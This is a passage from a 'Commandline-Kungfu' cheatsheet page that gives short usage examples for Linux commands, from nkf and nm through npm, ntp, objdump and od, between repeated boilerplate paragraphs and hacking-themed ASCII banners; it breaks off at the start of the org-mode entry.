Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command nice in a clear format. This allows users to quickly access the needed information for nice without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for nice are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
102 - 🖥️nkf
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nkf command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗██╗ ██╗███████╗
# ████╗ ██║██║ ██╔╝██╔════╝
# ██╔██╗ ██║█████╔╝ █████╗
# ██║╚██╗██║██╔═██╗ ██╔══╝
# ██║ ╚████║██║ ██╗██║
# ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝
# check the file's charactor code
nkf -g test.txt
# convert charactor code to UTF-8
nkf -w --overwrite test.txt
# convert charactor code to EUC-JP
nkf -e --overwrite test.txt
# convert charactor code to Shift-JIS
nkf -s --overwrite test.txt
# convert charactor code to ISO-2022-JP
nkf -j --overwrite test.txt
# convert newline to LF
nkf -Lu --overwrite test.txt
# convert newline to CRLF
nkf -Lw --overwrite test.txt
# convert newline to CR
nkf -Lm --overwrite test.txt
# MIME encode
echo テスト | nkf -WwMQ
# MIME decode
echo "=E3=83=86=E3=82=B9=E3=83=88" | nkf -WwmQ
#==============================##==============================#
# CMD NKF #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command nkf in a clear format. This allows users to quickly access the needed information for nkf without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for nkf are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
103 - 🖥️nl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗██╗
# ████╗ ██║██║
# ██╔██╗ ██║██║
# ██║╚██╗██║██║
# ██║ ╚████║███████╗
# ╚═╝ ╚═══╝╚══════╝
# The nl command writes contents of a file to output, and prepends each line with line number.
nl file1
1 Hi
2 How are you
3 Bye
#==============================##==============================#
# CMD NL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command nl in a clear format. This allows users to quickly access the needed information for nl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for nl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
104 - 🖥️nm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗███╗ ███╗
# ████╗ ██║████╗ ████║
# ██╔██╗ ██║██╔████╔██║
# ██║╚██╗██║██║╚██╔╝██║
# ██║ ╚████║██║ ╚═╝ ██║
# ╚═╝ ╚═══╝╚═╝ ╚═╝
# List symbol names in object files
# The nm command is used to display symbols from object files.
# Demangle C++ symbols (make them readable):
nm --demangle file.o
# Display object files that refer to a symbol
nm -A ./*.o | grep func
# Display all undefined symbols in a file
nm -u executable
# List all symbols, even debugging symbols:
nm -a executable
# Display all symbols in executable
# (sorted in order of their addresses)
nm -n executable
# Search for a symbols and display its size
nm -S 1 | grep abc
# Display dynamic symbols in executable
nm -D executable
# Change the format of the nm output
# (display the output of nm command in posix style)
nm -u -f posix executable
# Display only the external symbols of executable
nm -g executable
# Sort the nm output by the symbol size
nm -g --size-sort executable
# Specify nm options in a file
nm @nm_file
nm test
0804a020 B __bss_start
0804841d T compare
0804a020 b completed.6591
0804a018 D __data_start
0804a018 W data_start
08048360 t deregister_tm_clones
080483d0 t __do_global_dtors_aux
08049f0c t __do_global_dtors_aux_fini_array_entry
0804a01c D __dso_handle
08049f14 d _DYNAMIC
0804a020 D _edata
0804a024 B _end
080484e4 T _fini
080484f8 R _fp_hw
080483f0 t frame_dummy
...
...
...
#==============================##==============================#
# CMD NM #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command nm in a clear format. This allows users to quickly access the needed information for nm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for nm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
105 - 🖥️nova
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nova command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗ ██████╗ ██╗ ██╗ █████╗
# ████╗ ██║██╔═══██╗██║ ██║██╔══██╗
# ██╔██╗ ██║██║ ██║██║ ██║███████║
# ██║╚██╗██║██║ ██║╚██╗ ██╔╝██╔══██║
# ██║ ╚████║╚██████╔╝ ╚████╔╝ ██║ ██║
# ╚═╝ ╚═══╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═╝
# To list VMs on current tenant:
nova list
# To list VMs of all tenants (admin user only):
nova list --all-tenants
# To boot a VM on a specific host:
nova boot --nic net-id=<net_id> \
--image <image_id> \
--flavor <flavor> \
--availability-zone nova:<host_name> <vm_name>
# To stop a server
nova stop <server>
# To start a server
nova start <server>
# To attach a network interface to a specific VM:
nova interface-attach --net-id <net_id> <server>
#==============================##==============================#
# CMD NOVA #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command nova in a clear format. This allows users to quickly access the needed information for nova without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for nova are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
106 - 🖥️npm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the npm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗██████╗ ███╗ ███╗
# ████╗ ██║██╔══██╗████╗ ████║
# ██╔██╗ ██║██████╔╝██╔████╔██║
# ██║╚██╗██║██╔═══╝ ██║╚██╔╝██║
# ██║ ╚████║██║ ██║ ╚═╝ ██║
# ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝
# Every command shown here can be used with the `-g` switch for global scope
# Install a package in the current directory
npm install <package>
# Install a package, and save it in the `dependencies` section of `package.json`
npm install --save <package>
# Install a package, and save it in the `devDependencies` section of `package.json`
npm install --save-dev <package>
# Show outdated packages in the current directory
npm outdated
# Update outdated packages
npm update
# Update `npm` (will override the one shipped with Node.js)
npm install -g npm
# Uninstall a package
npm uninstall <package>
# List all global top level modles, then remove ALL npm packages with xargs
npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm
#==============================##==============================#
# CMD NPM #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command npm in a clear format. This allows users to quickly access the needed information for npm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for npm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
107 - 🖥️ntp
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ntp command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗████████╗██████╗
# ████╗ ██║╚══██╔══╝██╔══██╗
# ██╔██╗ ██║ ██║ ██████╔╝
# ██║╚██╗██║ ██║ ██╔═══╝
# ██║ ╚████║ ██║ ██║
# ╚═╝ ╚═══╝ ╚═╝ ╚═╝
# alias für offset:
alias ntpsync='service ntp stop ; ntpd -g -q ; service ntp start'
# Verify ntpd running:
service ntp status
# Start ntpd if not running:
service ntp start
# Display current hardware clock value:
sudo hwclock -r
# Apply system time to hardware time:
sudo hwclock --systohc
# Apply hardware time to system time:
sudo hwclock --hctosys
# Set hwclock to local time:
sudo hwclock --localtime
# Set hwclock to UTC:
sudo hwclock --utc
# Set hwclock manually:
sudo hwclock --set --date="8/10/15 13:10:05"
# Query surrounding stratum time servers
ntpq -pn
# Config file:
/etc/ntp.conf
# Driftfile:
location of "drift" of your system clock compared to ntp servers /var/lib/ntp/ntp.drift
#-------------------------------------------------#
# Vorgehensweise bei ntp offset
#--------------------------------#
service ntp stop
ntpd -g -q
# Die Option -g bedeutet, dass ntpd auch synchronisiert, wenn die Zeit mehr als 1000 Sekunden abweicht. Die Option -q bedeutet, dass ntpd nur einmal ausgeführt wird.
service ntp start
hwclock --systohc
# die Uhr in die Hardwareclock schreiben, denn sonst kommt der Server eventuell nach einem Boot mit einer völlig falschen Zeit hoch.
# Verify ntpd running:
service ntp status
# Start ntpd if not running:
service ntp start
# Display current hardware clock value:
sudo hwclock -r
# Apply system time to hardware time:
sudo hwclock --systohc
# Apply hardware time to system time:
sudo hwclock --hctosys
# Set hwclock to local time:
sudo hwclock --localtime
# Set hwclock to UTC:
sudo hwclock --utc
# Set hwclock manually:
sudo hwclock --set --date="8/10/15 13:10:05"
# Query surrounding stratum time servers
ntpq -pn
# Config file:
/etc/ntp.conf
# Driftfile:
location of "drift" of your system clock compared to ntp servers
/var/lib/ntp/ntp.drift
# example config
tinker panic 0
server ntptime.lxu.io burst iburst
driftfile /var/lib/ntp/drift/ntp.drift
logfile /var/log/ntp
##############################################
# BASH script to synchronize with NTP server - This is a simple script (can be safely placed in a cron) to sync your machine with the default NTP server
##############
service ntpd stop
ntpdate 156.54.18.6 // replace 156.54.18.6 with correct server IP address
ntpdate 156.54.18.6
ntpdate 156.54.18.6
ntpdate 156.54.18.6
service ntpd start
chkconfig ntpd on
##############
#==============================##==============================#
# CMD NTP #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ntp in a clear format. This allows users to quickly access the needed information for ntp without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ntp are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
108 - 🖥️numfmt
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the numfmt command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗██╗ ██╗███╗ ███╗███████╗███╗ ███╗████████╗
# ████╗ ██║██║ ██║████╗ ████║██╔════╝████╗ ████║╚══██╔══╝
# ██╔██╗ ██║██║ ██║██╔████╔██║█████╗ ██╔████╔██║ ██║
# ██║╚██╗██║██║ ██║██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║ ██║
# ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║ ██║ ╚═╝ ██║ ██║
# ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
# Convert bytes to Human readable format
numfmt --to=iec --suffix=B --padding=7 1048576
numfmt --to=iec $[$(du -s /home/*/docs | cut -f 1 | paste -sd+)]
# Summing up numeric values using bash. For example to add up the disk usage at several disjoint locations. The $[..] is for arithmetic evaluation in bash. Alternatively pipe to the bc command.
#==============================##==============================#
# CMD NUMFMT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command numfmt in a clear format. This allows users to quickly access the needed information for numfmt without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for numfmt are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
109 - 🖥️nvidia-smi
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nvidia-smi command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗██╗ ██╗██╗██████╗ ██╗ █████╗ ███████╗███╗ ███╗██╗
# ████╗ ██║██║ ██║██║██╔══██╗██║██╔══██╗ ██╔════╝████╗ ████║██║
# ██╔██╗ ██║██║ ██║██║██║ ██║██║███████║█████╗███████╗██╔████╔██║██║
# ██║╚██╗██║╚██╗ ██╔╝██║██║ ██║██║██╔══██║╚════╝╚════██║██║╚██╔╝██║██║
# ██║ ╚████║ ╚████╔╝ ██║██████╔╝██║██║ ██║ ███████║██║ ╚═╝ ██║██║
# ╚═╝ ╚═══╝ ╚═══╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝
# list all available NVIDIA devices
nvidia-smi -L
# list certain details about each GPU
nvidia-smi --query-gpu=index,name,uuid,serial --format=csv
# list GPU details
nvidia-smi -i 0 -q
# show system topology
nvidia-smi topo --matrix
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command nvidia-smi in a clear format. This allows users to quickly access the needed information for nvidia-smi without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for nvidia-smi are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
110 - 🖥️objdump
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the objdump command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██╗██████╗ ██╗ ██╗███╗ ███╗██████╗
# ██╔═══██╗██╔══██╗ ██║██╔══██╗██║ ██║████╗ ████║██╔══██╗
# ██║ ██║██████╔╝ ██║██║ ██║██║ ██║██╔████╔██║██████╔╝
# ██║ ██║██╔══██╗██ ██║██║ ██║██║ ██║██║╚██╔╝██║██╔═══╝
# ╚██████╔╝██████╔╝╚█████╔╝██████╔╝╚██████╔╝██║ ╚═╝ ██║██║
# ╚═════╝ ╚═════╝ ╚════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
# objdump
# program for displaying various information about object files
# Display the contents of the overall file header
objdump -f executable
# Display object format specific file header contents
objdump -p executable
# Display the contents of the section headers
objdump -h executable
# Display assembler contents of executable sections
objdump -d executable
# Display assembler contents of all sections
objdump -D executable
# Display the full contents of all sections
objdump -s executable
# Display all the header information
objdump -x executable
# Display debug information
objdump -g executable
# Display the contents of symbol table (or tables)
objdump -t executable
# Display the contents of dynamic symbol table
# Dynamic symbols are those which are resolved during run time
objdump -T executable
# Display the dynamic relocation entries in the file
objdump -R executable
# Display section of interest
# (extremely useful when you know the section related
# to which the information is required)
objdump -s -j.rodata executable
# Use the older disassembly format
objdump -D --prefix-addresses executable
# Execute the objdump by calling the options.txt file
objdump @options.txt
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command objdump in a clear format. This allows users to quickly access the needed information for objdump without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for objdump are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
111 - 🖥️od
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the od command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗
# ██╔═══██╗██╔══██╗
# ██║ ██║██║ ██║
# ██║ ██║██║ ██║
# ╚██████╔╝██████╔╝
# ╚═════╝ ╚═════╝
# Dump file in octal format
od /path/to/binaryfile
od -o /path/to/binaryfile
od -t o2 /path/to/binaryfile
# Dump file in hexadecimal format
od -x /path/to/binaryfile
od -t x2 /path/to/binaryfile
# Dump file in hexadecimal format, with hexadecimal offsets and a space between each byte
od -A x -t x1 /path/to/binaryfile
od -x <file>
# Hexadecimal dump of a file
#==============================##==============================#
# CMD OD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command od in a clear format. This allows users to quickly access the needed information for od without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for od are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
112 - 🖥️org-mode
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the org-mode command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ██████╗ ███╗ ███╗ ██████╗ ██████╗ ███████╗
# ██╔═══██╗██╔══██╗██╔════╝ ████╗ ████║██╔═══██╗██╔══██╗██╔════╝
